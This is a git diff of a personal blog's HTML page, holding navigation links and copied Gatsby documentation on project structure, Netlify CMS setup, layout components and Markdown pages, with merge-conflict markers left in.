+<a href="https://bgoonz-blog.netlify.app/docs/projects/my-websites"><strong>🌍⇒docs/projects/my-websites🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/at-length"><strong>🌍⇒docs/python/at-length🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/basics"><strong>🌍⇒docs/python/basics🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/cheat-sheet"><strong>🌍⇒docs/python/cheat-sheet🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/comprehensive-guide"><strong>🌍⇒docs/python/comprehensive-guide🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/examples"><strong>🌍⇒docs/python/examples🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/flow-control"><strong>🌍⇒docs/python/flow-control🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/functions"><strong>🌍⇒docs/python/functions🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/google-sheets-api"><strong>🌍⇒docs/python/google-sheets-api🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/intro-for-js-devs"><strong>🌍⇒docs/python/intro-for-js-devs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/python-ds"><strong>🌍⇒docs/python/python-ds🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/python/snippets"><strong>🌍⇒docs/python/snippets🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/Emmet"><strong>🌍⇒docs/quick-reference/Emmet🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/all-emojis"><strong>🌍⇒docs/quick-reference/all-emojis🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/create-react-app"><strong>🌍⇒docs/quick-reference/create-react-app🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/git-bash"><strong>🌍⇒docs/quick-reference/git-bash🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/git-tricks"><strong>🌍⇒docs/quick-reference/git-tricks🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/google-firebase"><strong>🌍⇒docs/quick-reference/google-firebase🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/heroku-error-codes"><strong>🌍⇒docs/quick-reference/heroku-error-codes🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/installation"><strong>🌍⇒docs/quick-reference/installation🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/markdown-dropdowns"><strong>🌍⇒docs/quick-reference/markdown-dropdowns🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/minifiction"><strong>🌍⇒docs/quick-reference/minifiction🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/new-repo-instructions"><strong>🌍⇒docs/quick-reference/new-repo-instructions🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/psql-setup"><strong>🌍⇒docs/quick-reference/psql-setup🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/pull-request-rubric"><strong>🌍⇒docs/quick-reference/pull-request-rubric🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/quick-links"><strong>🌍⇒docs/quick-reference/quick-links🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/topRepos"><strong>🌍⇒docs/quick-reference/topRepos🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/understanding-path"><strong>🌍⇒docs/quick-reference/understanding-path🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/quick-reference/vscode-themes"><strong>🌍⇒docs/quick-reference/vscode-themes🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/cheatsheet"><strong>🌍⇒docs/react/cheatsheet🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/createReactApp"><strong>🌍⇒docs/react/createReactApp🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/demo"><strong>🌍⇒docs/react/demo🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/jsx"><strong>🌍⇒docs/react/jsx🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/react-docs"><strong>🌍⇒docs/react/react-docs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/react-in-depth"><strong>🌍⇒docs/react/react-in-depth🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/react2"><strong>🌍⇒docs/react/react2🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/react/render-elements"><strong>🌍⇒docs/react/render-elements🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/awesome-lists"><strong>🌍⇒docs/reference/awesome-lists🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/awesome-static"><strong>🌍⇒docs/reference/awesome-static🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/bookmarks"><strong>🌍⇒docs/reference/bookmarks🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/embed-the-web"><strong>🌍⇒docs/reference/embed-the-web🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/github-search"><strong>🌍⇒docs/reference/github-search🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/how-2-reinstall-npm"><strong>🌍⇒docs/reference/how-2-reinstall-npm🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/how-to-kill-a-process"><strong>🌍⇒docs/reference/how-to-kill-a-process🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/installing-node"><strong>🌍⇒docs/reference/installing-node🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/intro-to-nodejs"><strong>🌍⇒docs/reference/intro-to-nodejs🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/notes-template"><strong>🌍⇒docs/reference/notes-template🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/psql"><strong>🌍⇒docs/reference/psql🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/resources"><strong>🌍⇒docs/reference/resources🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/vscode"><strong>🌍⇒docs/reference/vscode🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/reference/web-api&#39;s"><strong>🌍⇒docs/reference/web-api&#39;s🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tools/data-structures"><strong>🌍⇒docs/tools/data-structures🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tools/dev-utilities"><strong>🌍⇒docs/tools/dev-utilities🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tools/google-cloud"><strong>🌍⇒docs/tools/google-cloud🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tools/markdown-html"><strong>🌍⇒docs/tools/markdown-html🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tools/more-tools"><strong>🌍⇒docs/tools/more-tools🗺️</strong></a>
+<a href="https://bgoonz-blog.netlify.app/docs/tutorials/google-lighthouse-cli"><strong>🌍⇒docs/tutorials/google-lighthouse-cli🗺️</strong></a></p>
+<h2 id="-details-"></details></h2>
+<hr>
+<hr>
+<p><details></p>
+<p><summary>  ↞↠ Getting Started With GatsbyJS ↞↠  </summary></p>
+<h2 id="-">#</h2>
+</div>
+          <h2 id="🚀-quick-start">🚀 Quick start</h2>
+          <div><ol>
+<li><strong>Create a Gatsby site.</strong>
+ Use the Gatsby CLI to create a new site, specifying the default starter.<pre><code class="lang-bashell"># create a new Gatsby site using the default starter
+gatsby new my-default-starter https://github.com/gatsbyjs/gatsby-starter-default
+</code></pre>
+</li>
+<li><strong>Start developing.</strong>
+ Navigate into your new site&#39;s directory and start it up.<pre><code class="lang-bashell">cd my-default-starter/
+gatsby develop
+</code></pre>
+</li>
+<li><strong>Open the source code and start editing!</strong>
+ Your site is now running at <code>http://localhost:8000</code>!
+ <em>Note: You&#39;ll also see a second link:</em><code>http://localhost:8000/___graphql</code><em>. This is a tool you can use to experiment with querying your data. Learn more about using this tool in the <a href="https://www.gatsbyjs.com/tutorial/part-five/#introducing-graphiql">Gatsby tutorial</a>.</em>
+ Open the <code>my-default-starter</code> directory in your code editor of choice and edit <code>src/pages/index.js</code>. Save your changes and the browser will update in real time!</li>
+</ol>
+</div>
+          <h2 id="🧐-whats-inside">🧐 What's inside</h2>
+          <div><p>?
+A quick look at the top-level files and directories you&#39;ll see in a Gatsby project.
+    .
+    ├── node_modules
+    ├── src
+    ├── .gitignore
+    ├── .prettierrc
+    ├── gatsby-browser.js
+    ├── gatsby-config.js
+    ├── gatsby-node.js
+    ├── gatsby-ssr.js
+    ├── LICENSE
+    ├── package-lock.json
+    ├── package.json
+    └── README.md</p>
+<ol>
+<li><strong><code>/node_modules</code></strong>: This directory contains all of the modules of code that your project depends on (npm packages) are automatically installed.</li>
+<li><strong><code>/src</code></strong>: This directory will contain all of the code related to what you will see on the front-end of your site (what you see in the browser) such as your site header or a page template. <code>src</code> is a convention for &quot;source code&quot;.</li>
+<li><strong><code>.gitignore</code></strong>: This file tells git which files it should not track / not maintain a version history for.</li>
+<li><strong><code>.prettierrc</code></strong>: This is a configuration file for <a href="https://prettier.io/">Prettier</a>. Prettier is a tool to help keep the formatting of your code consistent.</li>
+<li><strong><code>gatsby-browser.js</code></strong>: This file is where Gatsby expects to find any usage of the <a href="https://www.gatsbyjs.com/docs/browser-apis/">Gatsby browser APIs</a> (if any). These allow customization/extension of default Gatsby settings affecting the browser.</li>
+<li><strong><code>gatsby-config.js</code></strong>: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you&#39;d like to include, etc. (Check out the <a href="https://www.gatsbyjs.com/docs/gatsby-config/">config docs</a> for more detail).</li>
+<li><strong><code>gatsby-node.js</code></strong>: This file is where Gatsby expects to find any usage of the <a href="https://www.gatsbyjs.com/docs/node-apis/">Gatsby Node APIs</a> (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.</li>
+<li><strong><code>gatsby-ssr.js</code></strong>: This file is where Gatsby expects to find any usage of the <a href="https://www.gatsbyjs.com/docs/ssr-apis/">Gatsby server-side rendering APIs</a> (if any). These allow customization of default Gatsby settings affecting server-side rendering.</li>
+<li><strong><code>LICENSE</code></strong>: This Gatsby starter is licensed under the 0BSD license. This means that you can see this file as a placeholder and replace it with your own license.</li>
+<li><strong><code>package-lock.json</code></strong> (See <code>package.json</code> below, first). This is an automatically generated file based on the exact versions of your npm dependencies that were installed for your project. <strong>(You won&#39;t change this file directly).</strong></li>
+<li><strong><code>package.json</code></strong>: A manifest file for Node.js projects, which includes things like metadata (the project&#39;s name, author, etc). This manifest is how npm knows which packages to install for your project.</li>
+<li><strong><code>README.md</code></strong>: A text file containing useful reference information about your project.</li>
+</ol>
+</div>
+          <h2 id="🎓-learning-gatsby">🎓 Learning Gatsby</h2>
+          <div><p>Looking for more guidance? Full documentation for Gatsby lives <a href="https://www.gatsbyjs.com/">on the website</a>. Here are some places to start:</p>
+<ul>
+<li><strong>For most developers, we recommend starting with our [in-depth tutorial for creating a site with Gatsby</strong>](<a href="https://www.gatsbyjs.com/tutorial/).\*\">https://www.gatsbyjs.com/tutorial/).\*\</a>* It starts with zero assumptions about your level of ability and walks through every step of the process.
+-</li>
+<li><strong>To dive straight into code samples, head [to our documentation</strong>](<a href="https://www.gatsbyjs.com/docs/).\*\">https://www.gatsbyjs.com/docs/).\*\</a><em> In particular, check out the </em>Guides<em>, </em>API Reference<em>, and </em>Advanced Tutorials* sections in the sidebar.</li>
+</ul>
+</div>
+          <h2 id="💫-deploy">💫 Deploy</h2>
+          <div><p><a href="https://app.netlify.com/start/deploy?repository=https://github.com/BGOONZ_BLOG_2.0.git"><img src="https://www.netlify.com/img/deploy/button.svg" alt="Deploy to Netlify**"></a></p>
+<h2 id="deploy-with-vercel-"><a href="https://vercel.com/import/project?template=https://github.com/BGOONZ_BLOG_2.0.git"><img src="https://vercel.com/button" alt="Deploy with Vercel**"></a></h2>
+<h3 id="gatsby-with-netlify-cms">Gatsby With Netlify CMS</h3>
+<p>This tutorial will use <a href="https://github.com/thomaswang/gatsby-personal-starter-blog">gatsby-personal-starter-blog</a>, a Gatsby starter based on the official <a href="/starters/gatsbyjs/gatsby-starter-blog/">gatsby-starter-blog</a>. The differences are that <code>gatsby-personal-starter-blog</code> is configured to run the blog on a subdirectory, <code>/blog</code>, and comes pre-installed with <a href="https://www.netlifycms.org/">Netlify CMS</a> for content editing. It also adds VS Code highlighting for code blocks.</p>
+</div>
+          <h2 id="prerequisites">Prerequisites</h2>
+          <div><ul>
+<li>A GitHub account</li>
+<li>The <a href="/docs/reference/gatsby-cli/">Gatsby CLI</a> installed</li>
+</ul>
+</div>
+          <h2 id="set-up-a-netlify-cms-managed-gatsby-site-in-5-steps">Set up a Netlify CMS-managed Gatsby site in 5 steps</h2>
+          <div><h3 id="step-1">Step 1</h3>
+<p>Open your Terminal and run the following command from the Gatsby CLI to create a new Gatsby site using <a href="https://github.com/thomaswang/gatsby-personal-starter-blog">gatsby-personal-starter-blog</a>.</p>
+<pre><code class="lang-shell">gatsby new [your-project-name] https://github.com/thomaswangio/gatsby-personal-starter-blog
+>>>>>>> master
 </code></pre>
         <ol>
           <li>
@@ -2549,6 +4830,7 @@ <h2 id="excerpt">Excerpt</h2>
         <p>Inside a Gatsby project, you may see some or all of the following folders and files:</p>
         <pre><code>/|-- /.cache|-- /plugins|-- /public|-- /src    |-- /api    |-- /pages    |-- /templates    |-- html.js|-- /static|-- gatsby-config.js|-- gatsby-node.js|-- gatsby-ssr.js|-- gatsby-browser.js
 </code></pre>
+<<<<<<< HEAD
       </div>
       <h2 id="https-www-gatsbyjs-com-docs-reference-gatsby-project-structure-folders-folders">
         [](https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#folders)Folders</h2>
@@ -2813,6 +5095,242 @@ <h2 id="https-www-gatsbyjs-com-docs-how-to-routing-adding-markdown-pages-other-t
         <h1 id="sourcecode">SOURCECODE</h1>
         <pre><code>
 bryan@LAPTOP-9LGJ3JGS:/c/MY-WEB-DEV/BLOG____2.0/BLOG_2.0/src$ tree -f
+=======
+<p>Now you can go to <code>http://localhost:8000</code> to see your new site, but what&#39;s extra cool is that Netlify CMS is pre-installed and you can access it at <code>http://localhost:8000/admin</code>
+A CMS, or content management system, is useful because you can add content like blog posts from a dashboard on your site, instead of having to add posts manually with Markdown. However, you&#39;ll likely want to be able to access the CMS from a deployed website, not just locally. For that, you&#39;ll need to deploy to Netlify through GitHub, set up continuous deployment, and do a few configurations. You&#39;ll go over this in <a href="#step-5">Step-5</a>.</p>
+<h3 id="step-3">Step 3</h3>
+<p>Open the project in your code editor and open <code>static/admin/config.yml</code>. Replace <code>your-username/your-repo-name</code> with your GitHub username and project name. This step is important for managing and deploying the Netlify CMS interface.</p>
+<pre><code class="lang-diff">backend:
+-  name: test-repo
++  name: github
++  repo: your-username/your-repo-name
+</code></pre>
+<h4 id="customizing-your-site">Customizing your site</h4>
+<p>Head into <code>gatsby-config.js</code> and you can edit your siteMetadata, add a Google Analytics tracking ID, and your app icon/favicon. Test out the edits for the deployed build by quitting the development server and running <code>gatsby build &amp;&amp; gatsby serve</code>.
+You&#39;ll likely also want to edit the <code>README.md</code> and <code>package.json</code> files to include your own project details.</p>
+<h3 id="step-4">Step 4</h3>
+<p>Open <a href="https://github.com">github.com</a> and create a new repository, with the same name as your project. Push your new Gatsby site&#39;s code to GitHub using the following Terminal commands:</p>
+<pre><code class="lang-shell">git init
+git add .
+git commit -m &quot;initial commit&quot;
+git remote add origin https://github.com/[your-username]/[your-repo-name].git
+git push -u origin master
+</code></pre>
+<p>Then, open <a href="https://app.netlify.com">app.netlify.com</a> and add a &quot;New site from Git&quot;. Choose your newly created repo and click on &quot;Deploy site&quot; with the default deployment settings.</p>
+<blockquote>
+<p><em>Note: if you don&#39;t see the correct repo listed, you may need to install or reconfigure the Netlify app on GitHub.</em>
+<img src="netlify-dashboard.png" alt="Netlify Dashboard for Creating a new site"></p>
+</blockquote>
+<h3 id="step-5">Step 5</h3>
+<p>To make sure that Netlify CMS has access to your GitHub repo, you need to set up an OAuth application on GitHub. The instructions for that are here: <a href="https://www.netlify.com/docs/authentication-providers/#using-an-authentication-provider">Netlify&#39;s Using an Authorization Provider</a>.
+For the &quot;Homepage URL&quot; – you can use your Netlify subdomain, <code>[name-of-your-site].netlify.com</code>, or you can use a custom domain. To customize the subdomain, look for the &quot;Edit site name&quot; field under &quot;Domain Management&quot; for your project on the <a href="https://app.netlify.com">Netlify app</a>. To connect your Netlify site to your custom domain instead, see <a href="https://www.netlify.com/docs/custom-domains/">Netlify’s instructions on custom domains</a>.
+Once you&#39;ve configured an authentication provider then you&#39;ll be able to use Netlify CMS at your deployed site to add new posts.
+<img src="https://cdn.netlify.com/67edd5b656c432888d736cd40125cb61376905bb/c1cba/img/docs/github-oauth-config.png" alt="Netlify and GitHub Authorization">
+Copy the credentials of your new app listed on <a href="https://github.com/settings/developers">GitHub OAuth Apps</a> and install a new auth provider on Netlify using them.
+<img src="netlify-install-oauth-provider.png" alt="Setting up access control"></p>
+<h4 id="benefits-of-netlify-cms-github-and-netlify-workflow">Benefits of Netlify CMS, GitHub, and Netlify Workflow</h4>
+<p>Congrats! Now that Netlify CMS is successfully configured to your project, every time you add a new post, the content will be stored in your repository and versioned on GitHub because Netlify CMS is Git-based. Also, thanks to <a href="https://www.netlify.com/docs/continuous-deployment/">Netlify&#39;s Continuous Deployment</a>, a new version will be deployed every time you add or edit a post.</p>
+<h2 id="you-can-learn-more-about-netlify-cms-and-how-to-configure-it-further-in-the-netlify-cms-documentation">You can learn more about Netlify CMS and how to configure it further in the <a href="https://www.netlifycms.org/docs/intro/">Netlify CMS documentation</a></h2>
+<hr>
+</div>
+          <h2 id="gatsby-project-structure-gatsby">Gatsby Project Structure | Gatsby</h2>
+          <div><blockquote>
+<h2 id="excerpt">Excerpt</h2>
+<p>Inside a Gatsby project, you may see some or all of the following folders and files: Folders /.cache Automatically generated. This folder…</p>
+</blockquote>
+<hr>
+<p>Inside a Gatsby project, you may see some or all of the following folders and files:</p>
+<pre><code>/|
+-- /.cache
+|-- /plugins
+|-- /public
+|-- /src
+|-- /api
+|-- /pages
+|-- /templates
+|-- html.js
+|-- /static
+|-- gatsby-config.js
+|-- gatsby-node.js
+|-- gatsby-ssr.js
+|-- gatsby-browser.js
+</code></pre><p><a href="https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#folders">Folders</a></p>
+<ul>
+<li><strong><code>/.cache</code></strong> <em>Automatically generated.</em> This folder is an internal cache created automatically by Gatsby. The files inside this folder are not meant for modification. Should be added to the <code>.gitignore</code> file if not added already.</li>
+<li><strong><code>/plugins</code></strong> This folder hosts any project-specific (&quot;local&quot;) plugins that aren&#39;t published as an <code>npm</code> package. Check out the <a href="https://www.gatsbyjs.com/docs/plugins/">plugin docs</a> for more detail.</li>
+<li><strong><code>/public</code></strong> <em>Automatically generated.</em> The output of the build process will be exposed inside this folder. Should be added to the <code>.gitignore</code> file if not added already.</li>
+<li><strong><code>/src</code></strong> This directory will contain all of the code related to what you will see on the frontend of your site (what you see in the browser), like your site header, or a page template. &quot;src&quot; is a convention for &quot;source code&quot;.<ul>
+<li><strong><code>/api</code></strong> JavaScript and TypeScript files under <code>src/api</code> become functions automatically with paths based on their file name. Check out the <a href="https://www.gatsbyjs.com/docs/reference/functions/">functions guide</a> for more detail.</li>
+<li><strong><code>/pages</code></strong> Components under <code>src/pages</code> become pages automatically with paths based on their file name. Check out the <a href="https://www.gatsbyjs.com/docs/recipes/pages-layouts">pages recipes</a> for more detail.</li>
+<li><strong><code>/templates</code></strong> Contains templates for programmatically creating pages. Check out the <a href="https://www.gatsbyjs.com/docs/conceptual/building-with-components/#page-template-components">templates docs</a> for more detail.</li>
+<li><strong><code>html.js</code></strong> For custom configuration of default <code>.cache/default_html.js</code>. Check out the <a href="https://www.gatsbyjs.com/docs/custom-html/">custom HTML docs</a> for more detail.</li>
+</ul>
+</li>
+<li><strong><code>/static</code></strong> If you put a file into the static folder, it will not be processed by webpack. Instead it will be copied into the public folder untouched. Check out the <a href="https://www.gatsbyjs.com/docs/how-to/images-and-media/static-folder/#adding-assets-outside-of-the-module-system">assets docs</a> for more detail.
+<a href="https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#files">Files</a></li>
+<li><strong><code>gatsby-browser.js</code></strong>: This file is where Gatsby expects to find any usage of the <a href="https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/">Gatsby browser APIs</a> (if any). These allow customization/extension of default Gatsby settings affecting the browser.</li>
+<li><strong><code>gatsby-config.js</code></strong>: This is the main configuration file for a Gatsby site. This is where you can specify information about your site (metadata) like the site title and description, which Gatsby plugins you&#39;d like to include, etc. Check out the <a href="https://www.gatsbyjs.com/docs/reference/config-files/gatsby-config/">config docs</a> for more detail.</li>
+<li><strong><code>gatsby-node.js</code></strong>: This file is where Gatsby expects to find any usage of the <a href="https://www.gatsbyjs.com/docs/reference/config-files/gatsby-node/">Gatsby node APIs</a> (if any). These allow customization/extension of default Gatsby settings affecting pieces of the site build process.</li>
+<li><strong><code>gatsby-ssr.js</code></strong>: This file is where Gatsby expects to find any usage of the <a href="https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/">Gatsby server-side rendering APIs</a> (if any). These allow customization of default Gatsby settings affecting server-side rendering.
+<a href="https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous">Misc</a>
+<a href="https://www.gatsbyjs.com/docs/reference/gatsby-project-structure/#miscellaneous">Misc</a>
+The file/folder structure described above reflects Gatsby-specific files and folders. Since Gatsby sites are also React apps, it&#39;s common to use standard React code organization patterns such as folders like <code>/components</code> and <code>/utils</code> inside <code>/src</code>. The <a href="https://reactjs.org/docs/faq-structure.html">React docs</a> have more information on a typical React app folder structure.</li>
+</ul>
+<hr>
+<h4 id="layout-components-gatsby">Layout Components | Gatsby</h4>
+</div>
+          <h2 id="excerpt">Excerpt</h2>
+          <div><blockquote>
+<p>In this guide, you&#39;ll learn Gatsby&#39;s approach to layouts, how to create and use layout components, and how to prevent layout components from…</p>
+</blockquote>
+<hr>
+<p>In this guide, you&#39;ll learn Gatsby&#39;s approach to layouts, how to create and use layout components, and how to prevent layout components from unmounting.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#gatsbys-approach-to-layouts">Gatsby&#39;s approach to layouts</a>
+Gatsby does not, by default, automatically apply layouts to pages (there are, however, ways to do so which will be covered in a later section). Instead, Gatsby follows React&#39;s compositional model of importing and using components. This makes it possible to create multiple levels of layouts, e.g. a global header and footer, and then on some pages, a sidebar menu. It also makes it possible to pass data between layout and page components.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#what-are-layout-components">What are layout components?</a>
+Layout components are for sections of your site that you want to share across multiple pages. For example, Gatsby sites will commonly have a layout component with a shared header and footer. Other common things to add to layouts are a sidebar and/or navigation menu. On this page for example, the header at the top is part of gatsbyjs.com&#39;s layout component.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-create-layout-components">How to create layout components</a>
+It is recommended to create your layout components alongside the rest of your components (e.g. into <code>src/components/</code>).
+Here is an example of a very basic layout component at <code>src/components/layout.js</code>:</p>
+<pre><code>import React from &quot;react&quot;export default function Layout({ children }) {  return (    &lt;div style={{ margin: `0 auto`, maxWidth: 650, padding: `0 1rem` }}&gt;       {children}    &lt;/div&gt;   )}
+</code></pre><p><a href="https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-import-and-add-layout-components-to-pages"></a>How to import and add layout components to pages
+If you want to apply a layout to a page, you will need to include the <code>Layout</code> component and wrap your page in it. For example, here is how you would apply your layout to the front page:</p>
+<pre><code>import React from &quot;react&quot;import Layout from &quot;../components/layout&quot;export default function Home() {  return (    &lt;Layout&gt;       &lt;h1&gt; I&#39;m in a layout!&lt;/h1&gt;     &lt;/Layout&gt;   );}
+</code></pre><p>Repeat for every page and template that needs this layout.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/layout-components/#how-to-prevent-layout-components-from-unmounting">How to prevent layout components from unmounting</a>
+As mentioned earlier, Gatsby does not, by default, automatically wrap pages in a layout component. The &quot;top level&quot; component is the page itself. As a result, when the &quot;top level&quot; component changes between pages, React will re-render all children. This means that shared components like navigations will unmount and remount. This will break CSS transitions or React state within those shared components.
+If you need to set a wrapper component around page components that won&#39;t get unmounted on page changes, use the <strong><code>wrapPageElement</code></strong> <a href="https://www.gatsbyjs.com/docs/reference/config-files/gatsby-browser/#wrapPageElement">browser API</a> and the <a href="https://www.gatsbyjs.com/docs/reference/config-files/gatsby-ssr/#wrapPageElement">SSR equivalent</a>.
+Alternatively, you can prevent your layout component from unmounting by using <a href="https://www.gatsbyjs.com/plugins/gatsby-plugin-layout/">gatsby-plugin-layout</a>, which implements the <code>wrapPageElement</code> APIs for you.</p>
+</div>
+          <h2 id="adding-markdown-pages-gatsby">Adding Markdown Pages | Gatsby</h2>
+          <div><blockquote>
+<h2 id="excerpt">Excerpt</h2>
+<p>Gatsby can use Markdown files to create pages in your site.
+You add plugins to read and understand folders with Markdown files and from them…</p>
+</blockquote>
+<hr>
+<p>Gatsby can use Markdown files to create pages in your site. You add plugins to read and understand folders with Markdown files and from them create pages automatically.
+Here are the steps Gatsby follows for making this happen.</p>
+<ol>
+<li>Read files into Gatsby from the filesystem</li>
+<li>Transform Markdown to HTML and <a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files">frontmatter</a> to data</li>
+<li>Add a Markdown file</li>
+<li>Create a Collection Route component for the Markdown files
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#read-files-into-gatsby-from-the-filesystem"></a>Read files into Gatsby from the filesystem
+Use the plugin <a href="https://www.gatsbyjs.com/plugins/gatsby-source-filesystem/#gatsby-source-filesystem"><code>gatsby-source-filesystem</code></a> to read files.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#install"></a>Install
+<code>npm install gatsby-source-filesystem</code>
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-plugin">Add Plugin</a>Add plugin
+Open <code>gatsby-config.js</code> to add the <code>gatsby-source-filesystem</code> plugin. The <code>path</code> option is how you set the directory to search for files.<pre><code>module.exports = {  siteMetadata: {
+ title: &quot;My Gatsby Site&quot;,  },  
+plugins: [    {
+  resolve: `gatsby-source-filesystem`,
+options: {
+     name: `markdown-pages`,
+path: `${__dirname}/src/markdown-pages`,
+},  
+},  
+],}
+</code></pre>Completing the above step means that you&#39;ve &quot;sourced&quot; the Markdown files from the filesystem. You can now &quot;transform&quot; the Markdown to HTML and the YAML frontmatter to JSON.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#transform-markdown-to-html-and-frontmatter-to-data-using-gatsby-transformer-remark">Transform Markdown to HTML and frontmatter to data using <code>gatsby-transformer-remark</code></a>
+You&#39;ll use the plugin <a href="https://www.gatsbyjs.com/plugins/gatsby-transformer-remark/"><code>gatsby-transformer-remark</code></a> to recognize files which are Markdown and read their content. The plugin will convert the frontmatter metadata part of your Markdown files as <code>frontmatter</code> and the content part as HTML.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#install-transformer-plugin">Install transformer plugin</a>
+<code>npm install gatsby-transformer-remark</code>
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#configure-plugin">Configure plugin</a>
+Add this to <code>gatsby-config.js</code> after the previously added <code>gatsby-source-filesystem</code>.<pre><code>module.exports = {  siteMetadata: {
+ title: &quot;My Gatsby Site&quot;,  },  
+plugins: [    {
+  resolve: `gatsby-source-filesystem`,
+options: {
+     name: `markdown-pages`,
+path: `${__dirname}/src/markdown-pages`,
+},  
+},  
+`gatsby-transformer-remark`,  ],
+}
+</code></pre><a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#add-a-markdown-file">Add a Markdown file</a>
+Create a folder in the <code>/src</code> directory of your Gatsby application called <code>markdown-pages</code>. Now create a Markdown file inside it with the name <code>post-1.md</code>.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#frontmatter-for-metadata-in-markdown-files">Frontmatter for metadata in Markdown files</a>
+When you create a Markdown file, you can include a set of key/value pairs that can be used to provide additional data relevant to specific pages in the GraphQL data layer. This data is called &quot;frontmatter&quot; and is denoted by the triple dashes at the start and end of the block. This block will be parsed by <code>gatsby-transformer-remark</code> as YAML. You can then query the data through the GraphQL API from your React components.
+src/markdown-pages/post-1.md<pre><code>---slug: &quot;/blog/my-first-post&quot;date: &quot;2019-05-04&quot;title: &quot;My first blog post&quot;---
+</code></pre>What is important in this step is the key pair <code>slug</code>. The value that is assigned to the key <code>slug</code> is used in order to navigate to your post.
+<a href="https://www.gatsbyjs.com/docs/how-to/routing/adding-markdown-pages/#create-a-collection-route-for-the-markdown-files"></a>Create a Collection Route for the Markdown files
